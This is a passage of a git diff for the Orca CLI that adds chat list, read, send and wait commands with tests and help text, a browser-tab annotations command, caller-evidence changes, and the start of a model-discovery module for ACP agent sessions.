index fc5c6c56006..92e83f0a753 100644
--- a/src/cli/command-scoped-flag-help.ts
+++ b/src/cli/command-scoped-flag-help.ts
@@ -2,7 +2,22 @@
 const FILE_OPEN_FOCUS_HELP =
   "--focus                Bring the user to the file (switches Orca's window to its worktree)"
 
+const CHAT_SESSION_HELP =
+  '--session <id>        Chat session id or handle from chat list or agent launch'
+
 const COMMAND_SCOPED_FLAG_HELP: Record<string, Record<string, string>> = {
+  'chat rename': {
+    session: '--session <id>        Chat session id from chat list or agent launch'
+  },
+  'chat list': {
+    state: '--state <state>       Only chats in this state: working, blocked, waiting or done'
+  },
+  'chat read': { session: CHAT_SESSION_HELP },
+  'chat send': {
+    session: CHAT_SESSION_HELP,
+    wait: '--wait                 Wait until the chat finishes or needs your answer'
+  },
+  'chat wait': { session: CHAT_SESSION_HELP },
   'extension reload': {
     'extension-id':
       '--extension-id <id>   Installed unpacked extension ID; also accepted positionally',
diff --git a/src/cli/flag-help-text.ts b/src/cli/flag-help-text.ts
index 108cf43bf8f..1e283dd828f 100644
--- a/src/cli/flag-help-text.ts
+++ b/src/cli/flag-help-text.ts
@@ -36,6 +36,7 @@ export const FLAG_HELP_TEXT: Record<string, string> = {
   interrupt: '--interrupt            Send as an interrupt-style input when supported',
   'keep-open': '--keep-open            Keep the worker open after it finishes',
   'spec-file': '--spec-file <path|->  Read the spec from a file or stdin',
+  'text-file': '--text-file <path|->  Read the text from a file or stdin',
   id: '--id <id>             Identifier for a target item or permission',
   issue: '--issue <number|null>  Linked GitHub issue number',
   'gitlab-issue':
diff --git a/src/cli/handler-group-manifest.ts b/src/cli/handler-group-manifest.ts
index 9cc19bf9f86..31606226998 100644
--- a/src/cli/handler-group-manifest.ts
+++ b/src/cli/handler-group-manifest.ts
@@ -207,7 +207,7 @@ export const HANDLER_GROUPS: readonly HandlerGroup[] = [
   },
   {
     name: 'chat',
-    keys: ['chat rename'],
+    keys: ['chat rename', 'chat list', 'chat read', 'chat send', 'chat wait'],
     load: async () => (await import('./handlers/chat.js')).CHAT_HANDLERS
   },
   {
diff --git a/src/cli/handlers/chat.test.ts b/src/cli/handlers/chat.test.ts
index 50005f098b6..177a839ad13 100644
--- a/src/cli/handlers/chat.test.ts
+++ b/src/cli/handlers/chat.test.ts
@@ -1,7 +1,183 @@
 import { afterEach, describe, expect, it, vi } from 'vitest'
+import { SendParams } from '../../shared/rpc-contract/structured-agent-session-params'
+import { AGENT_SESSION_QUEUED_MESSAGES_RUNTIME_CAPABILITY } from '../../shared/agent-session/agent-session-runtime-capabilities'
 import { RuntimeClient } from '../runtime-client'
 import { CHAT_HANDLERS } from './chat'
 
+const SESSION = 'codex_8eb631ab_59c5_41e4_8672_01cfe0a6fd5f'
+
+function ok(result: unknown) {
+  return { id: 'req', ok: true, result, _meta: { runtimeId: 'runtime-1' } }
+}
+
+function historyPage(
+  items: unknown[],
+  fence: number | undefined = 3,
+  pageOverrides: Record<string, unknown> = {}
+) {
+  return ok({
+    ok: true,
+    page: {
+      sessionId: SESSION,
+      epoch: 'e',
+      fence,
+      direction: 'tail',
+      items,
+      removedItemIds: [],
+      submissions: [],
+      window: {
+        oldest: null,
+        newest: { epoch: 'e', sequence: 9 },
+        nextCursor: { epoch: 'e', sequence: 9 }
+      },
+      ...pageOverrides
+    }
+  })
+}
+
+function item(body: unknown) {
+  return { itemId: 'i', revision: 1, sequence: 1, observedAt: 1, body }
+}
+
+function fakeClient(
+  responses: unknown[],
+  capabilities: string[] = [AGENT_SESSION_QUEUED_MESSAGES_RUNTIME_CAPABILITY]
+): RuntimeClient & { call: ReturnType<typeof vi.fn> } {
+  const client = new RuntimeClient('/tmp/orca-chat-test', 60_000, null, null)
+  const call = vi.fn()
+  for (const response of responses) {
+    call.mockResolvedValueOnce(response)
+  }
+  vi.spyOn(client, 'call').mockImplementation(call)
+  vi.spyOn(client, 'getCliStatus').mockResolvedValue({
+    id: 'status',
+    ok: true,
+    result: {
+      app: { running: true, pid: 123 },
+      runtime: { state: 'ready', reachable: true, runtimeId: 'runtime-1', capabilities },
+      graph: { state: 'ready' }
+    },
+    _meta: { runtimeId: 'runtime-1' }
+  })
+  return Object.assign(client, { call })
+}
+
+async function run(
+  command: string,
+  flags: Record<string, string | boolean>,
+  client: RuntimeClient
+) {
+  const logs: string[] = []
+  const spy = vi.spyOn(console, 'log').mockImplementation((line: string) => logs.push(line))
+  try {
+    await CHAT_HANDLERS[command]!({
+      flags: new Map(Object.entries(flags)),
+      client,
+      cwd: '/tmp',
+      json: true
+    })
+  } finally {
+    spy.mockRestore()
+  }
+  return JSON.parse(logs.join('\n')).result
+}
+
+afterEach(() => {
+  vi.useRealTimers()
+  vi.restoreAllMocks()
+})
+
+describe('chat send', () => {
+  it('sends a host-valid message fenced to the chat it read, queued while the agent works', async () => {
+    const client = fakeClient([
+      historyPage([], 7),
+      ok({
+        ok: true,
+        replayed: false,
+        fence: 7,
+        cursor: { epoch: 'e', sequence: 2 },
+        value: {
+          clientMessageId: 'm-1',
+          queued: { messageId: 'q-1', position: 1, state: 'waiting' }
+        }
+      })
+    ])
+    const result = await run('chat send', { session: SESSION, text: 'Run the tests' }, client)
+    const params = client.call.mock.calls[1]![1]
+    expect(client.call.mock.calls[1]![0]).toBe('agentSession.send')
+    // The host validates the same schema, so a malformed envelope or body fails here.
+    expect(SendParams.safeParse(params).success).toBe(true)
+    expect(params).toMatchObject({
+      envelope: { sessionId: SESSION, expectedRuntimeFence: 7 },
+      delivery: 'queue-if-active',
+      body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'Run the tests' }] }
+    })
+    expect(result).toEqual({
+      session: SESSION,
+      delivery: 'queued',
+      clientMessageId: 'm-1',
+      queuePosition: 1
+    })
+  })
+
+  it('reports a host refusal as an error instead of a sent message', async () => {
+    const client = fakeClient([
+      historyPage([], 2),
+      ok({
+        ok: false,
+        refusal: { code: 'agent_session_fence_mismatch', message: 'The chat restarted.' }
+      })
+    ])
+    await expect(run('chat send', { session: SESSION, text: 'hi' }, client)).rejects.toMatchObject({
+      code: 'agent_session_fence_mismatch'
+    })
+  })
+
+  it('with --wait, waits for its queued message to run and returns that turn', async () => {
+    vi.useFakeTimers()
+    const client = fakeClient([
+      historyPage([], 7, { working: true }),
+      ok({
+        ok: true,
+        replayed: false,
+        fence: 7,
+        cursor: { epoch: 'e', sequence: 2 },
+        value: {
+          clientMessageId: 'm-1',
+          queued: { messageId: 'q-1', position: 1, state: 'waiting' }
+        }
+      }),
+      // The earlier turn ended, but the queued message has not been handed to the agent yet.
+      historyPage([], 7, {
+        working: false,
+        queuedMessages: [{ messageId: 'q-1' }],
+        nextQueuedMessageId: 'q-1'
+      }),
+      historyPage([], 7, { working: true, queuedMessages: [] }),
+      historyPage([], 7, { working: false, queuedMessages: [], actionablePromptIds: [] }),
+      historyPage([
+        item({ kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'Earlier' }] }),
+        item({ kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'Old reply' }] }),
+        item({ kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'Run the tests' }] }),
+        item({ kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'All pass' }] })
+      ])
+    ])
+    const pending = run(
+      'chat send',
+      { session: SESSION, text: 'Run the tests', wait: true },
+      client
+    )
+    await vi.advanceTimersByTimeAsync(5_000)
+    const result = await pending
+    expect(client.call).toHaveBeenCalledTimes(6)
+    expect(result).toMatchObject({
+      delivery: 'queued',
+      settled: 'done',
+      entries: [{ kind: 'message', role: 'assistant', text: 'All pass' }]
+    })
+  })
+})
+
 function chatClient(isRemote: boolean): { client: RuntimeClient; call: ReturnType<typeof vi.fn> } {
   const client = new RuntimeClient('/tmp/orca-chat-test', 60_000, null, null)
   vi.spyOn(client, 'isRemote', 'get').mockReturnValue(isRemote)
diff --git a/src/cli/handlers/chat.ts b/src/cli/handlers/chat.ts
index f9303026a8d..51d6a8dbc0f 100644
--- a/src/cli/handlers/chat.ts
+++ b/src/cli/handlers/chat.ts
@@ -1,11 +1,64 @@
-import type { CommandHandler } from '../dispatch'
-import { getPresentStringFlag, getRequiredStringFlag } from '../flags'
-import { printResult } from '../format'
-import { RuntimeClientError } from '../runtime-client'
+import { randomUUID } from 'node:crypto'
+import type {
+  AgentSessionMutationResult,
+  AgentSessionSendResult
+} from '../../shared/agent-session/agent-session-wire'
+import { AGENT_SESSION_QUEUED_MESSAGES_RUNTIME_CAPABILITY } from '../../shared/agent-session/agent-session-runtime-capabilities'
+import type {
+  RuntimeWorktreePsResult,
+  RuntimeWorktreeRecord
+} from '../../shared/runtime-worktree-contracts'
+import { createStructuredAgentSessionOperationId } from '../../shared/agent-session/lifecycle/structured-agent-session-mutation'
+import {
+  structuredAgentSessionMessageSendMutation,
+  structuredAgentSessionSendBody
+} from '../../shared/agent-session/requests/structured-agent-session-send-mutation'
+import { AGENT_STATUS_STATES } from '../../shared/agent-status/contracts/agent-status-types'
 import { readInjectedAgentSessionId } from '../../shared/agent-session/lifecycle/agent-session-caller-env'
+import {
+  DEFAULT_READ_LIMIT,
+  explainChatRefusal,
+  formatSettled,
+  readHistory,
+  readSettledTurn,
+  readTranscript,
+  requireWorkingFlag,
+  waitForChat
+} from '../chat-history'
+import {
+  formatChatList,
+  formatChatRead,
+  listChatSessions,
+  parseChatSessionSelector
+} from '../chat-sessions'
+import { readTextOrFileFlag } from '../command-body-input'
+import type { CommandHandler } from '../dispatch'
+import {
+  getOptionalPositiveIntegerFlag,
+  getOptionalStringFlag,
+  getPresentStringFlag,
+  getRequiredStringFlag
+} from '../flags'
+import { printResult } from '../format'
+import { getOptionalWorktreeSelector } from '../selectors'
+import type { RuntimeClient } from '../runtime-client'
+import { RuntimeClientError } from '../runtime-client'
+
+const MAX_READ_LIMIT = 100
 
 type ChatRenameResult = { name: string | null; applied: boolean }
 
+// Paired CLIs lack the host's chat read/send capability; refuse before the host does with a bare code.
+function readSession(flags: Map<string, string | boolean>, client: RuntimeClient): string {
+  if (client.isRemote) {
+    throw new RuntimeClientError(
+      'runtime_unsupported',
+      'Reading and messaging chats on a paired host is not supported yet. Run this on the host machine.'
+    )
+  }
+  return parseChatSessionSelector(getRequiredStringFlag(flags, 'session'))
+}
+
 export const CHAT_HANDLERS: Record<string, CommandHandler> = {
   'chat rename': async ({ flags, client, json }) => {
     const name = getRequiredStringFlag(flags, 'name')
@@ -24,34 +77,119 @@ export const CHAT_HANDLERS: Record<string, CommandHandler> = {
     const result = await client
       .call<ChatRenameResult>('agentSession.rename', { sessionId, name })
       .catch((error: unknown) => {
-        throw explainRenameRefusal(error, sessionId)
+        throw explainChatRefusal(error, sessionId, 'rename')
       })
     if (!result.result.applied) {
       throw new RuntimeClientError('invalid_argument', 'Not renamed: the name has no visible text.')
     }
     printResult(result, json, (value) => `Renamed chat to "${value.name}".`)
+  },
+  'chat list': async ({ flags, client, cwd, json }) => {
+    const state = getOptionalStringFlag(flags, 'state')
+    if (state !== undefined && !AGENT_STATUS_STATES.some((known) => known === state)) {
+      throw new RuntimeClientError(
+        'invalid_argument',
+        `--state must be one of: ${AGENT_STATUS_STATES.join(', ')}.`
+      )
+    }
+    const selector = await getOptionalWorktreeSelector(flags, 'worktree', cwd, client)
+    const shown = selector
+      ? (
+          await client.call<{ worktree: RuntimeWorktreeRecord }>('worktree.show', {
+            worktree: selector
+          })
+        ).result.worktree
+      : undefined
+    const result = await client.call<RuntimeWorktreePsResult>('worktree.ps', {})
+    // A local and an SSH copy can share an id; the host tells them apart when both name one.
+    const worktrees = result.result.worktrees.filter(
+      (w) =>
+        !shown ||
+        (w.worktreeId === shown.id &&
+          (w.hostId === undefined || shown.hostId === undefined || w.hostId === shown.hostId))
+    )
+    const chats = listChatSessions(worktrees).filter((chat) => !state || chat.state === state)
+    printResult({ ...result, result: { chats } }, json, formatChatList)
+  },
+  'chat read': async ({ flags, client, json }) => {
+    const session = readSession(flags, client)
+    const limit = getOptionalPositiveIntegerFlag(flags, 'limit') ?? DEFAULT_READ_LIMIT
+    if (limit > MAX_READ_LIMIT) {
+      throw new RuntimeClientError('invalid_argument', `--limit must be at most ${MAX_READ_LIMIT}.`)
+    }
+    printResult(await readTranscript(client, session, limit), json, formatChatRead)
+  },
+  'chat wait': async ({ flags, client, json }) => {
+    const session = readSession(flags, client)
+    const timeoutMs = getOptionalPositiveIntegerFlag(flags, 'timeout-ms')
+    const settled = await waitForChat(client, session, timeoutMs)
+    printResult(await readSettledTurn(client, session, settled), json, formatSettled)
+  },
+  'chat send': async ({ flags, client, cwd, json }) => {
+    const session = readSession(flags, client)
+    const text = (await readTextOrFileFlag(flags, cwd, 'text', true)) ?? ''
+    if (text.trim().length === 0) {
+      throw new RuntimeClientError('invalid_argument', 'The message must not be empty.')
+    }
+    const wait = flags.has('wait')
+    const timeoutMs = getOptionalPositiveIntegerFlag(flags, 'timeout-ms')
+    const status = await client.getCliStatus()
+    if (!status.result.runtime.reachable) {
+      throw new RuntimeClientError(
+        'runtime_unavailable',
+        'Orca could not reach the execution host, so nothing was sent. Retry once it is reachable.'
+      )
+    }
+    // A working chat holds a queued message until its turn ends; older hosts get an ordinary send.
+    const queue =
+      status.result.runtime.capabilities?.includes(
+        AGENT_SESSION_QUEUED_MESSAGES_RUNTIME_CAPABILITY
+      ) === true
+    // The send is fenced to the session's current runtime, so a restarted chat refuses it.
+    const { page } = (await readHistory(client, session, 1)).result
+    if (wait) {
+      requireWorkingFlag(page)
+    }
+    const { fence } = page
+    if (fence === undefined) {
+      throw new RuntimeClientError(
+        'agent_session_not_running',
+        `Chat ${session} has no running session on this host, so nothing was sent. Open it in Orca and retry.`
+      )
+    }
+    const mutation = structuredAgentSessionMessageSendMutation({
+      sessionId: session,
+      clientOperationId: createStructuredAgentSessionOperationId(randomUUID),
+      expectedRuntimeFence: fence,
+      body: structuredAgentSessionSendBody(text, []),
+      ...(queue ? { delivery: 'queue-if-active' as const } : {})
+    })
+    const result = await client.call<AgentSessionMutationResult<AgentSessionSendResult>>(
+      'agentSession.send',
+      mutation
+    )
+    if (!result.result.ok) {
+      const { code, message } = result.result.refusal
+      throw explainChatRefusal(new RuntimeClientError(code, message), session, 'send to')
+    }
+    const value = result.result.value
+    const sent = {
+      session,
+      delivery: 'queued' in value ? ('queued' as const) : ('submitted' as const),
+      clientMessageId: value.clientMessageId,
+      ...('queued' in value ? { queuePosition: value.queued.position } : {})
+    }
+    if (!wait) {
+      printResult({ ...result, result: sent }, json, (r) =>
+        r.delivery === 'queued'
+          ? `Queued for ${r.session}; it is sent when the current turn ends.`
+          : `Sent to ${r.session}.`
+      )
+      return
+    }
+    const queuedId = 'queued' in value ? value.queued.messageId : undefined
+    const settled = await waitForChat(client, session, timeoutMs, queuedId)
+    const turn = await readSettledTurn(client, session, settled)
+    printResult({ ...turn, result: { ...sent, ...turn.result } }, json, formatSettled)
   }
 }
-
-// The host answers with bare wire codes; say what they mean for this command.
-function explainRenameRefusal(error: unknown, sessionId: string): unknown {
-  if (!(error instanceof RuntimeClientError)) {
-    return error
-  }
-  if (error.message === 'agent_session_identity_required') {
-    return new RuntimeClientError(
-      'agent_session_identity_required',
-      `No chat with session id ${sessionId} on this host.`
-    )
-  }
-  if (
-    error.message === 'structured_agent_session_unsupported' ||
-    error.code === 'method_not_found'
-  ) {
-    return new RuntimeClientError(
-      'incompatible_runtime',
-      'This Orca host cannot rename chats from the CLI. Update Orca on that host, or check that it has chats turned on.'
-    )
-  }
-  return error
-}
diff --git a/src/cli/handlers/orchestration/worker-agent-views.ts b/src/cli/handlers/orchestration/worker-agent-views.ts
index ac76e9c214a..ca993bc66c1 100644
--- a/src/cli/handlers/orchestration/worker-agent-views.ts
+++ b/src/cli/handlers/orchestration/worker-agent-views.ts
@@ -108,6 +108,7 @@ export type WorkerListResult = {
     dispatchStatus: string
     agentTerminalHandle: string | null
     terminalState: string | null
+    coordinatedFrom?: string | null
     resource?: { worktreeId?: string | null; autoReleaseAt?: string | null } | null
     projection?: WorkerProjection
   }[]
@@ -133,6 +134,7 @@ type WorkerListRow = {
   terminalState?: string
   workspace?: string
   host?: string
+  coordinatedFrom?: string
   attention?: string[]
   autoReleaseAt?: string
   next?: string
@@ -168,6 +170,7 @@ export const WORKER_LIST_VIEW: OrchestrationAgentView<ScopedWorkerList, WorkerLi
         // Older runtimes send no projection; the terminal resource row still names both.
         workspace: projection?.workspace?.id ?? worker.resource?.worktreeId ?? undefined,
         host: projection?.host.id,
+        coordinatedFrom: worker.coordinatedFrom ?? undefined,
         attention: actionableAttention(projection),
         autoReleaseAt: projection?.autoReleaseAt ?? worker.resource?.autoReleaseAt ?? undefined,
         next: projection
diff --git a/src/cli/handlers/orchestration/worker-terminal-handlers.ts b/src/cli/handlers/orchestration/worker-terminal-handlers.ts
index df70532be85..2609404284d 100644
--- a/src/cli/handlers/orchestration/worker-terminal-handlers.ts
+++ b/src/cli/handlers/orchestration/worker-terminal-handlers.ts
@@ -173,7 +173,10 @@ export const ORCHESTRATION_WORKER_TERMINAL_HANDLERS: Record<string, CommandHandl
                 const autoRelease = projection?.autoReleaseAt
                   ? ` auto-release=${projection.autoReleaseAt}`
                   : ''
-                return `${worker.dispatchId} task=${worker.taskId} [${worker.workerState}${details} terminal=${worker.terminalState ?? 'none'}${autoRelease}${next}`
+                const coordinatedFrom = worker.coordinatedFrom
+                  ? ` coordinated from ${worker.coordinatedFrom}`
+                  : ''
+                return `${worker.dispatchId} task=${worker.taskId} [${worker.workerState}${details} terminal=${worker.terminalState ?? 'none'}${autoRelease}${next}${coordinatedFrom}`
               })
               .join('\n')
       const counts = Object.entries(value.counts)
diff --git a/src/cli/root-help-text-primary.ts b/src/cli/root-help-text-primary.ts
index 10e3f99ae0a..502443d3d69 100644
--- a/src/cli/root-help-text-primary.ts
+++ b/src/cli/root-help-text-primary.ts
@@ -121,6 +121,10 @@ export const ROOT_HELP_TEXT_PRIMARY = [
   '  agent launch              Start an agent in a worktree, as a chat or terminal per your settings',
   '',
   'Chats:',
+  '  chat list                 List agent chats with their workspace, state and last reply',
+  '  chat read                 Read the latest messages of an agent chat',
+  '  chat send                 Send a message to an agent chat',
+  '  chat wait                 Wait until an agent chat finishes or needs your answer',
   '  chat rename               Rename a chat tab',
   '',
   'Files:',
@@ -207,6 +211,7 @@ export const ROOT_HELP_TEXT_PRIMARY = [
   '  tab create                Create a new browser tab (navigates to --url)',
   '  tab list                  List open browser tabs',
   '  tab show                  Show one browser tab by page id',
+  "  tab annotations           Show a tab's unsent notes from the user",
   '  tab current               Show the current browser tab',
   '  tab profile list          List browser session profiles',
   '  tab profile create        Create a browser session profile',
diff --git a/src/cli/runtime/orchestration-compatibility-envelope.ts b/src/cli/runtime/orchestration-compatibility-envelope.ts
index be78e8dee2f..c7f2d62f6cb 100644
--- a/src/cli/runtime/orchestration-compatibility-envelope.ts
+++ b/src/cli/runtime/orchestration-compatibility-envelope.ts
@@ -15,9 +15,9 @@ export function createOrchestrationCompatibilityEnvelope(
   }
 }
 
-/** The chat an agent launch came from, so the host can show the launched agent there.
+/** The chat a launch or browser command came from, so the host can show its agent or page there.
  *  Only a same-host session can be named: host-stamped (WSL) environments send nothing. */
-export function createAgentLaunchCallerEvidence(
+export function createChatCallerEvidence(
   env: NodeJS.ProcessEnv
 ): RuntimeOrchestrationEnvelope['orchestrationCompatibilityEvidence'] {
   const agentSessionId = readInjectedAgentSessionId(env)
@@ -29,12 +29,16 @@ export function createAgentLaunchCallerEvidence(
 
 const AGENT_LAUNCH_METHODS: ReadonlySet<string> = new Set(['agent.launch', 'agent.launchReplay'])
 
+function namesChatCaller(method: string): boolean {
+  return AGENT_LAUNCH_METHODS.has(method) || method.startsWith('browser.')
+}
+
 /** The caller evidence one request carries, read from this process's environment once. */
 export class OrchestrationRequestEvidence {
   private readonly orchestration: RuntimeOrchestrationEnvelope
   // A chat's session id means nothing on another server, so reads there go like a shell's.
   private readonly remoteRead: RuntimeOrchestrationEnvelope
-  private readonly agentLaunchCaller: RuntimeOrchestrationEnvelope['orchestrationCompatibilityEvidence']
+  private readonly chatCaller: RuntimeOrchestrationEnvelope['orchestrationCompatibilityEvidence']
 
   constructor(env: NodeJS.ProcessEnv) {
     this.orchestration = createOrchestrationCompatibilityEnvelope(env)
@@ -44,7 +48,7 @@ export class OrchestrationRequestEvidence {
       ...this.orchestration,
       orchestrationCompatibilityEvidence: Object.keys(shell).length > 0 ? shell : undefined
     }
-    this.agentLaunchCaller = createAgentLaunchCallerEvidence(env)
+    this.chatCaller = createChatCallerEvidence(env)
   }
 
   envelopeFor(
@@ -58,8 +62,8 @@ export class OrchestrationRequestEvidence {
         compatibilityInvocationId: request.requestId ?? base.compatibilityInvocationId
       }
     }
-    return AGENT_LAUNCH_METHODS.has(method) && !request.remote && this.agentLaunchCaller
-      ? { orchestrationCompatibilityEvidence: this.agentLaunchCaller }
+    return namesChatCaller(method) && !request.remote && this.chatCaller
+      ? { orchestrationCompatibilityEvidence: this.chatCaller }
       : {}
   }
 }
diff --git a/src/cli/runtime/orchestration-request-evidence.test.ts b/src/cli/runtime/orchestration-request-evidence.test.ts
index aceef390bc2..e8234f2223a 100644
--- a/src/cli/runtime/orchestration-request-evidence.test.ts
+++ b/src/cli/runtime/orchestration-request-evidence.test.ts
@@ -26,3 +26,18 @@ describe('caller evidence on requests to another server', () => {
     ).toEqual({ agentSessionId: '11111111-1111-4111-8111-111111111111' })
   })
 })
+
+describe('caller evidence on browser commands', () => {
+  it('names the chat on this host, so its run can show the page it drove', () => {
+    const evidence = new OrchestrationRequestEvidence(CHAT)
+    const request = { mutation: false, requestId: undefined }
+    expect(
+      evidence.envelopeFor('browser.click', { ...request, remote: false })
+        .orchestrationCompatibilityEvidence
+    ).toEqual({ agentSessionId: '11111111-1111-4111-8111-111111111111' })
+    expect(
+      evidence.envelopeFor('browser.click', { ...request, remote: true })
+        .orchestrationCompatibilityEvidence
+    ).toBeUndefined()
+  })
+})
diff --git a/src/cli/specs/browser-basic.ts b/src/cli/specs/browser-basic.ts
index 2d9ea0f589e..b25628d9e4a 100644
--- a/src/cli/specs/browser-basic.ts
+++ b/src/cli/specs/browser-basic.ts
@@ -206,6 +206,12 @@ export const BROWSER_BASIC_COMMAND_SPECS: CommandSpec[] = withBrowserPageTarget(
     usage: 'orca tab show --page <id> [--worktree <selector>] [--json]',
     allowedFlags: [...GLOBAL_FLAGS, 'page', 'worktree']
   },
+  {
+    path: ['tab', 'annotations'],
+    summary: "Show the notes the user left on a browser tab and hasn't sent yet",
+    usage: 'orca tab annotations [--page <id>] [--worktree <selector>] [--json]',
+    allowedFlags: [...GLOBAL_FLAGS, 'page', 'worktree']
+  },
   {
     path: ['tab', 'current'],
     summary: 'Show the current browser tab',
diff --git a/src/cli/specs/chat.ts b/src/cli/specs/chat.ts
index 28fb41556dd..ae73e34d6ed 100644
--- a/src/cli/specs/chat.ts
+++ b/src/cli/specs/chat.ts
@@ -15,5 +15,57 @@ export const CHAT_COMMAND_SPECS: CommandSpec[] = [
       'orca chat rename --name "Migrate auth to OAuth"',
       'orca chat rename --session <sessionId> --name "Release notes" --json'
     ]
+  },
+  {
+    path: ['chat', 'list'],
+    summary: 'List agent chats with their workspace, state and last reply',
+    usage: 'orca chat list [--worktree <selector>] [--state <state>] [--json]',
+    allowedFlags: [...GLOBAL_FLAGS, 'worktree', 'state'],
+    notes: [
+      'Lists the top-level chats Orca shows as agent tabs. Terminal agents are read with `orca terminal`.',
+      '--state keeps chats in one state: working, blocked, waiting or done.'
+    ],
+    examples: ['orca chat list --json', 'orca chat list --state working']
+  },
+  {
+    path: ['chat', 'read'],
+    summary: 'Read the latest messages of an agent chat',
+    usage: 'orca chat read --session <id-or-handle> [--limit <n>] [--json]',
+    allowedFlags: [...GLOBAL_FLAGS, 'session', 'limit'],
+    notes: [
+      '--session takes the session id or handle from `orca chat list` or `orca agent launch`.',
+      '--limit is the number of entries shown (messages, tool calls, approvals and questions); the default is 20 and the maximum 100.',
+      'Approvals and questions waiting for an answer are marked "waiting for you".'
+    ],
+    examples: ['orca chat read --session codex_1234 --limit 10']
+  },
+  {
+    path: ['chat', 'send'],
+    summary: 'Send a message to an agent chat',
+    usage:
+      'orca chat send --session <id-or-handle> (--text <text> | --text-file <path|->) [--wait] [--timeout-ms <ms>] [--json]',
+    allowedFlags: [...GLOBAL_FLAGS, 'session', 'text', 'text-file', 'wait', 'timeout-ms'],
+    notes: [
+      'Sends the text as your message, as if typed in the chat. --text-file - reads it from stdin.',
+      'While the agent is working, hosts with a message queue hold the message until the turn ends; the result says "queued".',
+      '--wait returns once the chat finishes or waits for your answer, with what it did since your message. It exits 1 when the wait times out or the message is held in a stopped queue.',
+      'A chat that restarted since it was read refuses the send; read it again and resend.'
+    ],
+    examples: [
+      'orca chat send --session codex_1234 --text "Run the tests, then summarize failures"',
+      'orca chat send --session codex_1234 --text "Run the tests" --wait --timeout-ms 600000 --json',
+      'cat notes.md | orca chat send --session codex_1234 --text-file -'
+    ]
+  },
+  {
+    path: ['chat', 'wait'],
+    summary: 'Wait until an agent chat finishes or needs your answer',
+    usage: 'orca chat wait --session <id-or-handle> [--timeout-ms <ms>] [--json]',
+    allowedFlags: [...GLOBAL_FLAGS, 'session', 'timeout-ms'],
+    notes: [
+      'Settles on the chat\'s own turn, in `chat list` words: "done", or "blocked" on an approval or question. Background agents it started can still show as working or waiting in `chat list`. "held" and "timeout" exit 1.',
+      'Prints what the chat did since the last user message. A wait that times out exits 1.'
+    ],
+    examples: ['orca chat wait --session codex_1234 --timeout-ms 600000 --json']
   }
 ]
diff --git a/src/main/acp/discovery/acp-listing-session-models.ts b/src/main/acp/discovery/acp-listing-session-models.ts
new file mode 100644
index 00000000000..0c35c338adc
--- /dev/null
+++ b/src/main/acp/discovery/acp-listing-session-models.ts
@@ -0,0 +1,148 @@
+import { setTimeout as delay } from 'node:timers/promises'
+import { observeAcpForkSupport } from '../capabilities/acp-fork-support'
+import {
+  assertStructuredAgentResolutionCurrent,
+  type StructuredAgentResolutionOperation
+} from '../../native-chat/structured-agent-command-resolution'
+import type { AgentSessionModelOption } from '../../../shared/agent-session/agent-session-wire'
+import type { AcpSessionModelDiscovery } from './acp-model-discovery-policy'
+import type { AcpLaunchSpec } from '../launch/acp-launch-contract'
+import type { AcpSessionStarted, AcpSessionStartOptions } from '../protocol/acp-session-setup'
+import { AcpStructuredOptions } from '../options/acp-structured-options'
+import type {
+  InitializeResponse,
+  SetSessionConfigOptionResponse
+} from '../generated/acp-protocol.generated'
+import { withTimeout } from '../../../shared/promise-timeout-fallback'
+import { AcpAgentError } from '../transport/acp-errors'
+
+/** Session-free capability boundary: no session methods are exposed. */
+export type AcpModelCatalogConnection = {
+  initialize(): Promise<InitializeResponse>
+  requestSessionFreeExtension(method: string, params: unknown): Promise<unknown>
+  close(): Promise<unknown>
+}
+
+export type AcpModelCatalogSessionConnection = Omit<
+  AcpModelCatalogConnection,
+  'requestSessionFreeExtension'
+> & {
+  start(options: AcpSessionStartOptions): Promise<AcpSessionStarted>
+  setConfigOption(configId: string, value: string): Promise<SetSessionConfigOptionResponse>
+  deleteSession(sessionId: string): Promise<unknown>
+}
+
+// OpenCode can answer -32603 while its providers are still opening; a later attempt lists them.
+async function startListingSession(
+  connection: AcpModelCatalogSessionConnection,
+  workspace: string,
+  operation?: StructuredAgentResolutionOperation
+): Promise<AcpSessionStarted> {
+  for (const backoffMs of [250, 500]) {
+    try {
+      return await connection.start({ cwd: workspace, mcpServers: [] })
+    } catch (error) {
+      if (!(error instanceof AcpAgentError && error.code === -32603)) {
+        throw error
+      }
+    }
+    await delay(backoffMs, undefined, { signal: operation?.signal })
+    assertStructuredAgentResolutionCurrent(operation)
+  }
+  return connection.start({ cwd: workspace, mcpServers: [] })
+}
+
+/** Lists models from a disposable session, learning menus for the models it starts on or switches to. */
+export async function readSessionModels(
+  spec: AcpLaunchSpec,
+  listing: AcpSessionModelDiscovery,
+  connection: AcpModelCatalogSessionConnection,
+  workspace: string,
+  operation?: StructuredAgentResolutionOperation,
+  selectedModels?: readonly string[],
+  launchedModel?: string,
+  ready?: (cleanup: () => Promise<unknown>) => void
+): Promise<{ models: AgentSessionModelOption[]; attemptedModels: string[] }> {
+  const initialized = await connection.initialize()
+  assertStructuredAgentResolutionCurrent(operation)
+  observeAcpForkSupport(spec.agent, initialized)
+  const deletes = Boolean(initialized.agentCapabilities?.sessionCapabilities?.delete)
+  if (!deletes && !listing.sessionFolderArgs) {
+    throw new Error(`${spec.agent} cannot delete a session, so it lists its models only in chats`)
+  }
+  const started = await startListingSession(connection, workspace, operation)
+  let stopped = false
+  const cleanup = async (): Promise<void> => {
+    stopped = true
+    if (deletes) {
+      await connection.deleteSession(started.sessionId).catch((error: unknown) => {
+        console.warn(`[acp-model-catalog] ${spec.agent} kept its listing session:`, error)
+      })
+    }
+  }
+  // Startup and menu discovery have separate budgets; cleanup also runs on cancellation.
+  ready?.(cleanup)
+  const options = new AcpStructuredOptions(spec.dialect)
+  options.adoptSession(started.response, 'new')
+  let models = options.read().models
+  const attemptedModels: string[] = []
+  try {
+    if (launchedModel !== undefined) {
+      attemptedModels.push(launchedModel)
+      const running = options.read().current.model
+      // An unresolved --model leaves OMP on its default with a menu that is not that model's.
+      if (running !== launchedModel) {
+        models = models.map((row) =>
+          row.id === running ? { ...row, efforts: [], effortsKnown: false as const } : row
+        )
+      }
+    } else if (spec.dialect.effortChangesModel) {
+      const byId = new Map(models.map((model) => [model.id, model]))
+      const targets = selectedModels ? selectedModels.flatMap((id) => byId.get(id) ?? []) : models
+      const sweep = async () => {
+        for (const model of targets) {
+          if (stopped) {
+            return
